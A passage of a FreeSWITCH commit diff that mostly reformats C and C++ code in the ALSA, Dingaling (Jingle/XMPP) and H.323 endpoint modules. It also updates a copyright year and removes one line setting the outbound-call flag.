- /*.on_destroy*/ channel_on_destroy
+ /*.on_consume_media */ NULL,
+ /*.on_hibernate */ NULL,
+ /*.on_reset */ NULL,
+ /*.on_park */ NULL,
+ /*.on_reporting */ NULL,
+ /*.on_destroy */ channel_on_destroy
};
static switch_io_routines_t channel_io_routines = {
@@ -761,7 +762,8 @@
*/
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause)
{
if ((*new_session = switch_core_session_request(&channel_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
@@ -799,7 +801,6 @@
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
}
- switch_channel_set_flag(channel, CF_OUTBOUND);
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
switch_channel_set_state(channel, CS_INIT);
return SWITCH_CAUSE_SUCCESS;
@@ -824,8 +825,8 @@
alsa_endpoint_interface->state_handler = &channel_event_handlers;
SWITCH_ADD_API(api_interface, "alsa", "Alsa", pa_cmd, "<command> [<args>]");
-
+
if (switch_core_new_memory_pool(&module_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "OH OH no pool\n");
return SWITCH_STATUS_TERM;
@@ -954,7 +955,7 @@
switch_core_codec_destroy(&globals.write_codec);
}
switch_core_hash_destroy(&globals.call_hash);
-
+
switch_safe_free(globals.dialplan);
switch_safe_free(globals.cid_name);
switch_safe_free(globals.cid_num);
@@ -1013,7 +1014,8 @@
}
if (switch_core_timer_init(&globals.timer,
- globals.timer_name, codec_ms, globals.read_codec.implementation->samples_per_packet, module_pool) != SWITCH_STATUS_SUCCESS) {
+ globals.timer_name, codec_ms, globals.read_codec.implementation->samples_per_packet,
+ module_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setup timer failed!\n");
switch_core_codec_destroy(&globals.read_codec);
switch_core_codec_destroy(&globals.write_codec);
Modified: freeswitch/trunk/src/mod/endpoints/mod_dingaling/mod_dingaling.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_dingaling/mod_dingaling.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_dingaling/mod_dingaling.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -206,7 +206,8 @@
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause);
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
@@ -459,7 +460,8 @@
}
sql =
- switch_mprintf("select sub_from, sub_to,'%q','%q','%q','%q' from jabber_subscriptions where sub_to = '%q%q'", type, rpid, status, proto, pstr, from);
+ switch_mprintf("select sub_from, sub_to,'%q','%q','%q','%q' from jabber_subscriptions where sub_to = '%q%q'", type, rpid, status, proto, pstr,
+ from);
for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, NULL, NULL, &val);
@@ -485,7 +487,7 @@
}
static switch_status_t chat_send(const char *proto, const char *from, const char *to, const char *subject,
- const char *body, const char *type, const char *hint)
+ const char *body, const char *type, const char *hint)
{
char *user, *host, *f_user = NULL, *ffrom = NULL, *f_host = NULL, *f_resource = NULL;
mdl_profile_t *profile = NULL;
@@ -518,7 +520,7 @@
*p = '\0';
}
}
- ldl_handle_send_msg(profile->handle, (char*)from, (char*)to, NULL, switch_str_nil(body));
+ ldl_handle_send_msg(profile->handle, (char *) from, (char *) to, NULL, switch_str_nil(body));
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid Profile %s\n", f_host ? f_host : "NULL");
return SWITCH_STATUS_FALSE;
@@ -699,7 +701,8 @@
switch_channel_state_t state = switch_channel_get_state(channel);
struct private_object *tech_pvt = NULL;
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*session), SWITCH_LOG_DEBUG, "Terminate called from line %d state=%s\n", line, switch_channel_state_name(state));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*session), SWITCH_LOG_DEBUG, "Terminate called from line %d state=%s\n", line,
+ switch_channel_state_name(state));
tech_pvt = switch_core_session_get_private(*session);
@@ -874,10 +877,9 @@
switch_core_session_set_read_codec(tech_pvt->session, &tech_pvt->read_codec);
switch_core_session_set_write_codec(tech_pvt->session, &tech_pvt->write_codec);
- if (globals.auto_nat && tech_pvt->profile->local_network &&
- !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
+ if (globals.auto_nat && tech_pvt->profile->local_network && !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
switch_port_t external_port = 0;
- switch_nat_add_mapping((switch_port_t)tech_pvt->local_port, SWITCH_NAT_UDP, &external_port, SWITCH_FALSE);
+ switch_nat_add_mapping((switch_port_t) tech_pvt->local_port, SWITCH_NAT_UDP, &external_port, SWITCH_FALSE);
tech_pvt->local_port = external_port;
}
@@ -885,8 +887,8 @@
tech_pvt->local_port, tech_pvt->remote_ip, tech_pvt->remote_port);
flags = SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_GOOGLEHACK | SWITCH_RTP_FLAG_AUTOADJ | SWITCH_RTP_FLAG_RAW_WRITE | SWITCH_RTP_FLAG_AUTO_CNG;
-
+
if (switch_test_flag(tech_pvt->profile, TFLAG_TIMER)) {
flags |= SWITCH_RTP_FLAG_USE_TIMER;
}
@@ -973,11 +975,13 @@
}
cand[0].address = tech_pvt->profile->ip;
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Stun Lookup Local %s:%d\n", cand[0].address, cand[0].port);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Stun Lookup Local %s:%d\n", cand[0].address,
+ cand[0].port);
if (switch_stun_lookup
(&cand[0].address, &cand[0].port, stun_ip, SWITCH_STUN_DEFAULT_PORT, &err,
switch_core_session_get_pool(tech_pvt->session)) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "Stun Failed! %s:%d [%s]\n", stun_ip, SWITCH_STUN_DEFAULT_PORT, err);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "Stun Failed! %s:%d [%s]\n", stun_ip,
+ SWITCH_STUN_DEFAULT_PORT, err);
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
return 0;
}
@@ -995,7 +999,8 @@
cand[0].password = tech_pvt->local_pass;
cand[0].pref = 1;
cand[0].protocol = "udp";
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Send Candidate %s:%d [%s]\n", cand[0].address, cand[0].port, cand[0].username);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Send Candidate %s:%d [%s]\n", cand[0].address, cand[0].port,
+ cand[0].username);
tech_pvt->cand_id = ldl_session_candidates(tech_pvt->dlsession, cand, 1);
switch_set_flag_locked(tech_pvt, TFLAG_TRANSPORT);
switch_set_flag_locked(tech_pvt, TFLAG_RTP_READY);
@@ -1232,9 +1237,8 @@
tech_pvt->rtp_session = NULL;
}
- if (globals.auto_nat && tech_pvt->profile->local_network &&
- !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
- switch_nat_del_mapping((switch_port_t)tech_pvt->local_port, SWITCH_NAT_UDP);
+ if (globals.auto_nat && tech_pvt->profile->local_network && !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
+ switch_nat_del_mapping((switch_port_t) tech_pvt->local_port, SWITCH_NAT_UDP);
}
if (switch_core_codec_ready(&tech_pvt->read_codec)) {
@@ -1593,12 +1597,12 @@
/*.on_hangup */ channel_on_hangup,
/*.on_exchange_media */ channel_on_exchange_media,
/*.on_soft_execute */ channel_on_soft_execute,
- /*.on_consume_media*/ NULL,
- /*.on_hibernate*/ NULL,
- /*.on_reset*/ NULL,
- /*.on_park*/ NULL,
- /*.on_reporting*/ NULL,
- /*.on_destroy*/ channel_on_destroy
+ /*.on_consume_media */ NULL,
+ /*.on_hibernate */ NULL,
+ /*.on_reset */ NULL,
+ /*.on_park */ NULL,
+ /*.on_reporting */ NULL,
+ /*.on_destroy */ channel_on_destroy
};
switch_io_routines_t dingaling_io_routines = {
@@ -1618,7 +1622,8 @@
*/
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause)
{
if ((*new_session = switch_core_session_request(dingaling_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
struct private_object *tech_pvt;
@@ -1686,7 +1691,8 @@
}
if (mdl_profile->purge) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Profile '%s' is marked for deletion, disallowing outgoing call\n", mdl_profile->name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Profile '%s' is marked for deletion, disallowing outgoing call\n",
+ mdl_profile->name);
terminate_session(new_session, __LINE__, SWITCH_CAUSE_NORMAL_UNSPECIFIED);
return SWITCH_CAUSE_NORMAL_UNSPECIFIED;
}
@@ -1754,7 +1760,6 @@
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
}
- switch_channel_set_flag(channel, CF_OUTBOUND);
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
switch_stun_random_string(sess_id, 10, "0123456789");
@@ -1811,7 +1816,7 @@
switch_api_interface_t *api_interface;
module_pool = pool;
-
+
memset(&globals, 0, sizeof(globals));
load_config();
@@ -1831,17 +1836,20 @@
return SWITCH_STATUS_GENERR;
}
- if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_IN, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.in_node) != SWITCH_STATUS_SUCCESS) {
+ if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_IN, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.in_node) !=
+ SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
return SWITCH_STATUS_GENERR;
}
- if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.probe_node) != SWITCH_STATUS_SUCCESS) {
+ if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.probe_node) !=
+ SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
return SWITCH_STATUS_GENERR;
}
- if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_OUT, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.out_node) != SWITCH_STATUS_SUCCESS) {
+ if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_OUT, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.out_node) !=
+ SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
return SWITCH_STATUS_GENERR;
}
@@ -1857,7 +1865,7 @@
return SWITCH_STATUS_GENERR;
}
-
+
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
dingaling_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
@@ -1903,13 +1911,10 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"Invalid Profile\n" "login[%s]\n" "pass[%s]\n" "dialplan[%s]\n"
"message[%s]\n" "rtp-ip[%s]\n" "name[%s]\n" "exten[%s]\n",
- switch_str_nil(profile->login),
- switch_str_nil(profile->password),
- switch_str_nil(profile->dialplan),
- switch_str_nil(profile->message),
- switch_str_nil(profile->ip),
- switch_str_nil(profile->name),
- switch_str_nil(profile->exten));
+ switch_str_nil(profile->login),
+ switch_str_nil(profile->password),
+ switch_str_nil(profile->dialplan),
+ switch_str_nil(profile->message), switch_str_nil(profile->ip), switch_str_nil(profile->name), switch_str_nil(profile->exten));
return SWITCH_STATUS_FALSE;
}
@@ -1976,8 +1981,8 @@
switch_safe_free(globals.dialplan);
switch_safe_free(globals.codec_string);
- switch_safe_free(globals.codec_rates_string);
-
+ switch_safe_free(globals.codec_rates_string);
+
return SWITCH_STATUS_SUCCESS;
}
@@ -2160,7 +2165,8 @@
switch_hash_index_t *hi;
switch_status_t status = SWITCH_STATUS_SUCCESS;
- if (session) return status;
+ if (session)
+ return status;
if (zstr(cmd) || !(myarg = strdup(cmd))) {
stream->write_function(stream, "USAGE: %s\n", DINGALING_SYNTAX);
@@ -2179,9 +2185,9 @@
switch_hash_this(hi, NULL, NULL, &val);
profile = (mdl_profile_t *) val;
stream->write_function(stream, "%s | ", profile->login);
- if (profile->handle && ldl_handle_authorized(profile->handle)){
+ if (profile->handle && ldl_handle_authorized(profile->handle)) {
stream->write_function(stream, "AUTHORIZED");
- } else if (profile->handle && ldl_handle_connected(profile->handle)){
+ } else if (profile->handle && ldl_handle_connected(profile->handle)) {
stream->write_function(stream, "CONNECTED");
} else {
stream->write_function(stream, "UNCONNECTED");
@@ -2195,7 +2201,7 @@
stream->write_function(stream, "USAGE: %s\n", DINGALING_SYNTAX);
}
-done:
+ done:
switch_safe_free(myarg);
return status;
}
@@ -2261,7 +2267,7 @@
} else {
stream->write_function(stream, "FAIL\n");
}
- done:
+ done:
switch_safe_free(myarg);
return status;
@@ -2274,56 +2280,53 @@
return SWITCH_TRUE;
}
- if (
- ((!new_profile->name && !profile->name) ||
- (new_profile->name && profile->name && !strcasecmp(new_profile->name, profile->name))) &&
- ((!new_profile->login && !profile->login) ||
- (new_profile->login && profile->login && !strcasecmp(new_profile->login, profile->login))) &&
- ((!new_profile->password && !profile->password) ||
- (new_profile->password && profile->password && !strcasecmp(new_profile->password, profile->password))) &&
- ((!new_profile->message && !profile->message) ||
- (new_profile->message && profile->message && !strcasecmp(new_profile->message, profile->message))) &&
- ((!new_profile->avatar && !profile->avatar) ||
- (new_profile->avatar && profile->avatar && !strcasecmp(new_profile->avatar, profile->avatar))) &&
+ if (((!new_profile->name && !profile->name) ||
+ (new_profile->name && profile->name && !strcasecmp(new_profile->name, profile->name))) &&
+ ((!new_profile->login && !profile->login) ||
+ (new_profile->login && profile->login && !strcasecmp(new_profile->login, profile->login))) &&
+ ((!new_profile->password && !profile->password) ||
+ (new_profile->password && profile->password && !strcasecmp(new_profile->password, profile->password))) &&
+ ((!new_profile->message && !profile->message) ||
+ (new_profile->message && profile->message && !strcasecmp(new_profile->message, profile->message))) &&
+ ((!new_profile->avatar && !profile->avatar) || (new_profile->avatar && profile->avatar && !strcasecmp(new_profile->avatar, profile->avatar))) &&
#ifdef AUTO_REPLY
- ((!new_profile->auto_reply && !profile->auto_reply) ||
- (new_profile->auto_reply && profile->auto_reply && !strcasecmp(new_profile->auto_reply, profile->auto_reply))) &&
+ ((!new_profile->auto_reply && !profile->auto_reply) ||
+ (new_profile->auto_reply && profile->auto_reply && !strcasecmp(new_profile->auto_reply, profile->auto_reply))) &&
#endif
- ((!new_profile->dialplan && !profile->dialplan) ||
- (new_profile->dialplan && profile->dialplan && !strcasecmp(new_profile->dialplan, profile->dialplan))) &&
- ((!new_profile->local_network && !profile->local_network) ||
- (new_profile->local_network && profile->local_network && !strcasecmp(new_profile->local_network, profile->local_network))) &&
- ((!new_profile->ip && !profile->ip) ||
- (new_profile->ip && profile->ip && !strcasecmp(new_profile->ip, profile->ip))) &&
- ((!new_profile->extip && !profile->extip) ||
- (new_profile->extip && profile->extip && !strcasecmp(new_profile->extip, profile->extip))) &&
- ((!new_profile->server && !profile->server) ||
- (new_profile->server && profile->server && !strcasecmp(new_profile->server, profile->server))) &&
- ((!new_profile->timer_name && !profile->timer_name) ||
- (new_profile->timer_name && profile->timer_name && !strcasecmp(new_profile->timer_name, profile->timer_name))) &&
- ((!new_profile->lanaddr && !profile->lanaddr) ||
- (new_profile->lanaddr && profile->lanaddr && !strcasecmp(new_profile->lanaddr, profile->lanaddr))) &&
- ((!new_profile->exten && !profile->exten) ||
- (new_profile->exten && profile->exten && !strcasecmp(new_profile->exten, profile->exten))) &&
- ((!new_profile->context && !profile->context) ||
- (new_profile->context && profile->context && !strcasecmp(new_profile->context, profile->context))) &&
- (new_profile->user_flags == profile->user_flags) && (new_profile->acl_count == profile->acl_count)
- ) {
+ ((!new_profile->dialplan && !profile->dialplan) ||
+ (new_profile->dialplan && profile->dialplan && !strcasecmp(new_profile->dialplan, profile->dialplan))) &&
+ ((!new_profile->local_network && !profile->local_network) ||
+ (new_profile->local_network && profile->local_network && !strcasecmp(new_profile->local_network, profile->local_network))) &&
+ ((!new_profile->ip && !profile->ip) ||
+ (new_profile->ip && profile->ip && !strcasecmp(new_profile->ip, profile->ip))) &&
+ ((!new_profile->extip && !profile->extip) ||
+ (new_profile->extip && profile->extip && !strcasecmp(new_profile->extip, profile->extip))) &&
+ ((!new_profile->server && !profile->server) ||
+ (new_profile->server && profile->server && !strcasecmp(new_profile->server, profile->server))) &&
+ ((!new_profile->timer_name && !profile->timer_name) ||
+ (new_profile->timer_name && profile->timer_name && !strcasecmp(new_profile->timer_name, profile->timer_name))) &&
+ ((!new_profile->lanaddr && !profile->lanaddr) ||
+ (new_profile->lanaddr && profile->lanaddr && !strcasecmp(new_profile->lanaddr, profile->lanaddr))) &&
+ ((!new_profile->exten && !profile->exten) ||
+ (new_profile->exten && profile->exten && !strcasecmp(new_profile->exten, profile->exten))) &&
+ ((!new_profile->context && !profile->context) ||
+ (new_profile->context && profile->context && !strcasecmp(new_profile->context, profile->context))) &&
+ (new_profile->user_flags == profile->user_flags) && (new_profile->acl_count == profile->acl_count)
+ ) {
uint32_t i;
if (switch_odbc_available()) {
- if (!(
- ((!new_profile->odbc_dsn && !profile->odbc_dsn) ||
- (new_profile->odbc_dsn && profile->odbc_dsn && !strcasecmp(new_profile->odbc_dsn, profile->odbc_dsn))) &&
- ((!new_profile->odbc_user && !profile->odbc_user) ||
- (new_profile->odbc_user && profile->odbc_user && !strcasecmp(new_profile->odbc_user, profile->odbc_user))) &&
- ((!new_profile->odbc_pass && !profile->odbc_pass) ||
- (new_profile->odbc_pass && profile->odbc_pass && !strcasecmp(new_profile->odbc_pass, profile->odbc_pass)))
- )) {
+ if (!(((!new_profile->odbc_dsn && !profile->odbc_dsn) ||
+ (new_profile->odbc_dsn && profile->odbc_dsn && !strcasecmp(new_profile->odbc_dsn, profile->odbc_dsn))) &&
+ ((!new_profile->odbc_user && !profile->odbc_user) ||
+ (new_profile->odbc_user && profile->odbc_user && !strcasecmp(new_profile->odbc_user, profile->odbc_user))) &&
+ ((!new_profile->odbc_pass && !profile->odbc_pass) ||
+ (new_profile->odbc_pass && profile->odbc_pass && !strcasecmp(new_profile->odbc_pass, profile->odbc_pass)))
+ )) {
return SWITCH_FALSE;
}
}
- for(i=0; i<new_profile->acl_count; i++) {
+ for (i = 0; i < new_profile->acl_count; i++) {
if (strcasecmp(new_profile->acl[i], profile->acl[i]) != 0) {
return SWITCH_FALSE;
}
@@ -2333,7 +2336,7 @@
return SWITCH_TRUE;
}
-static switch_status_t destroy_profile(char *name)
+static switch_status_t destroy_profile(char *name)
{
mdl_profile_t *profile = NULL;
@@ -2374,7 +2377,7 @@
{
char *cf = "dingaling.conf";
mdl_profile_t *profile = NULL, *old_profile = NULL;
- switch_xml_t cfg, xml, /*settings,*/ param, xmlint;
+ switch_xml_t cfg, xml, /*settings, */ param, xmlint;
void *data = NULL;
switch_hash_t *name_hash;
@@ -2398,7 +2401,7 @@
char *var = (char *) switch_xml_attr_soft(param, "name");
char *val = (char *) switch_xml_attr_soft(param, "value");
- if (!profile) {
+ if (!profile) {
profile = switch_core_alloc(module_pool, sizeof(*profile));
}
@@ -2481,7 +2484,7 @@
for (hi = switch_hash_first(NULL, name_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, NULL, NULL, &data);
- if ((profile = switch_core_hash_find(globals.profile_hash, (char*)data))) {
+ if ((profile = switch_core_hash_find(globals.profile_hash, (char *) data))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Deleting unused profile %s [%s]\n", profile->name, profile->login);
destroy_profile(profile->name);
}
@@ -2695,7 +2698,8 @@
switch_safe_free(xmlstr);
}
-static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsession, ldl_signal_t dl_signal, char *to, char *from, char *subject, char *msg)
+static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsession, ldl_signal_t dl_signal, char *to, char *from, char *subject,
+ char *msg)
{
mdl_profile_t *profile = NULL;
switch_core_session_t *session = NULL;
@@ -2730,7 +2734,8 @@
case LDL_SIGNAL_SUBSCRIBE:
if (profile->user_flags & LDL_FLAG_COMPONENT && ldl_jid_domcmp(from, to)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Attempt to add presence from/to our own domain [%s][%s]\n", from, to);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Attempt to add presence from/to our own domain [%s][%s]\n",
+ from, to);
} else {
switch_mutex_lock(profile->mutex);
if ((sql = switch_mprintf("delete from jabber_subscriptions where sub_from='%q' and sub_to='%q'", from, to))) {
@@ -2839,9 +2844,9 @@
switch (dl_signal) {
case LDL_SIGNAL_MSG:{
- char *proto = MDL_CHAT_PROTO;
- char *pproto = NULL, *ffrom = NULL;
- char *hint;
+ char *proto = MDL_CHAT_PROTO;
+ char *pproto = NULL, *ffrom = NULL;
+ char *hint;
#ifdef AUTO_REPLY
if (profile->auto_reply) {
ldl_handle_send_msg(handle,
@@ -2867,8 +2872,8 @@
}
from = ffrom;
}
-
- if (strcasecmp(proto, MDL_CHAT_PROTO)) { /* yes no ! on purpose */
+
+ if (strcasecmp(proto, MDL_CHAT_PROTO)) { /* yes no ! on purpose */
switch_core_chat_send(proto, MDL_CHAT_PROTO, from, to, subject, switch_str_nil(msg), NULL, hint);
}
@@ -2920,7 +2925,7 @@
status = LDL_STATUS_FALSE;
goto done;
}
-
+
} else {
if (dl_signal != LDL_SIGNAL_INITIATE && !msg) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Session is already dead\n");
@@ -3156,7 +3161,8 @@
unsigned int x, y;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%u payloads\n", len);
for (x = 0; x < len; x++) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Available Payload %s %u\n", payloads[x].name, payloads[x].id);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Available Payload %s %u\n", payloads[x].name,
+ payloads[x].id);
for (y = 0; y < tech_pvt->num_codecs; y++) {
char *name = tech_pvt->codecs[y]->iananame;
@@ -3174,8 +3180,8 @@
if (match && payloads[x].rate == tech_pvt->codecs[y]->samples_per_second) {
tech_pvt->codec_index = y;
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Choosing Payload index %u %s %u\n", y, payloads[x].name,
- payloads[x].id);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Choosing Payload index %u %s %u\n", y,
+ payloads[x].name, payloads[x].id);
tech_pvt->codec_name = tech_pvt->codecs[y]->iananame;
tech_pvt->codec_num = tech_pvt->codecs[y]->ianacode;
tech_pvt->r_codec_num = (switch_payload_t) (payloads[x].id);
@@ -3252,7 +3258,8 @@
lanaddr = strncasecmp(candidates[x].address, profile->lanaddr, strlen(profile->lanaddr)) ? 0 : 1;
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "candidates %s:%d\n", candidates[x].address, candidates[x].port);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "candidates %s:%d\n", candidates[x].address,
+ candidates[x].port);
// 192.0.0.0 - 192.0.127.255 is marked as reserved, should we filter all of them?
if (!strcasecmp(candidates[x].protocol, "udp") &&
Modified: freeswitch/trunk/src/mod/endpoints/mod_h323/mod_h323.h (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_h323/mod_h323.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_h323/mod_h323.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -54,10 +54,10 @@
} TFLAGS;
struct mod_h323_globals {
- int trace_level;
- char *codec_string;
- char *context;
- char *dialplan;
+ int trace_level;
+ char *codec_string;
+ char *context;
+ char *dialplan;
};
extern struct mod_h323_globals mod_h323_globals;
@@ -67,19 +67,19 @@
typedef struct {
unsigned int flags;
- switch_timer_t read_timer;
- switch_codec_t read_codec;
- switch_codec_t write_codec;
+ switch_timer_t read_timer;
+ switch_codec_t read_codec;
+ switch_codec_t write_codec;
switch_frame_t read_frame;
-
- switch_timer_t vid_read_timer;
- switch_codec_t vid_read_codec;
- switch_codec_t vid_write_codec;
+
+ switch_timer_t vid_read_timer;
+ switch_codec_t vid_read_codec;
+ switch_codec_t vid_write_codec;
switch_rtp_t *rtp_session;
switch_mutex_t *flag_mutex;
switch_mutex_t *h323_mutex;
-
- FSH323Connection *me;
+
+ FSH323Connection *me;
} h323_private_t;
#define DECLARE_CALLBACK0(name) \
@@ -101,161 +101,142 @@
switch_status_t name(type1 name1, type2 name2, type3 name3)
class FSH323EndPoint;
-class FSProcess : public PLibraryProcess {
- PCLASSINFO(FSProcess, PLibraryProcess);
+class FSProcess:public PLibraryProcess {
+ PCLASSINFO(FSProcess, PLibraryProcess);
- public:
- FSProcess();
- ~FSProcess();
+ public:
+ FSProcess();
+ ~FSProcess();
- bool Initialise(switch_loadable_module_interface_t *iface);
+ bool Initialise(switch_loadable_module_interface_t *iface);
- FSH323EndPoint & GetH323EndPoint() const { return *m_h323endpoint; }
-
- protected:
- FSH323EndPoint * m_h323endpoint;
+ FSH323EndPoint & GetH323EndPoint() const {
+ return *m_h323endpoint;
+ } protected:
+ FSH323EndPoint * m_h323endpoint;
};
struct FSListener {
- FSListener() {
- }
-
- PString name;
- H323ListenerTCP *listenAddress;
- PString localUserName;
- PString gatekeeper;
+ FSListener() {
+ } PString name;
+ H323ListenerTCP *listenAddress;
+ PString localUserName;
+ PString gatekeeper;
};
class FSGkRegThread;
class FSH323EndPoint:public H323EndPoint {
- PCLASSINFO(FSH323EndPoint, H323EndPoint);
- public:
- FSH323EndPoint();
- ~FSH323EndPoint();
-
-
+ PCLASSINFO(FSH323EndPoint, H323EndPoint);
+ public:
+ FSH323EndPoint();
+ ~FSH323EndPoint();
+
+
/**Create a connection that uses the specified call.
*/
- virtual H323Connection* CreateConnection(
- unsigned callReference,
- void* userData,
- H323Transport* transport,
- H323SignalPDU* setupPDU
- );
+ virtual H323Connection *CreateConnection(unsigned callReference, void *userData, H323Transport * transport, H323SignalPDU * setupPDU);
virtual bool OnSetGatewayPrefixes(PStringList & prefixes) const;
-
+
bool Initialise(switch_loadable_module_interface_t *iface);
-
- switch_status_t ReadConfig(int reload);
-
- void StartGkClient(int retry, PString* gkAddress,PString* gkIdentifer,PString* gkInterface);
+
+ switch_status_t ReadConfig(int reload);
+
+ void StartGkClient(int retry, PString * gkAddress, PString * gkIdentifer, PString * gkInterface);
void StopGkClient();
-
+
switch_endpoint_interface_t *GetSwitchInterface() const {
- return m_freeswitch;
- }
- FSH323Connection * FSMakeCall(const PString & dest,void *userData);
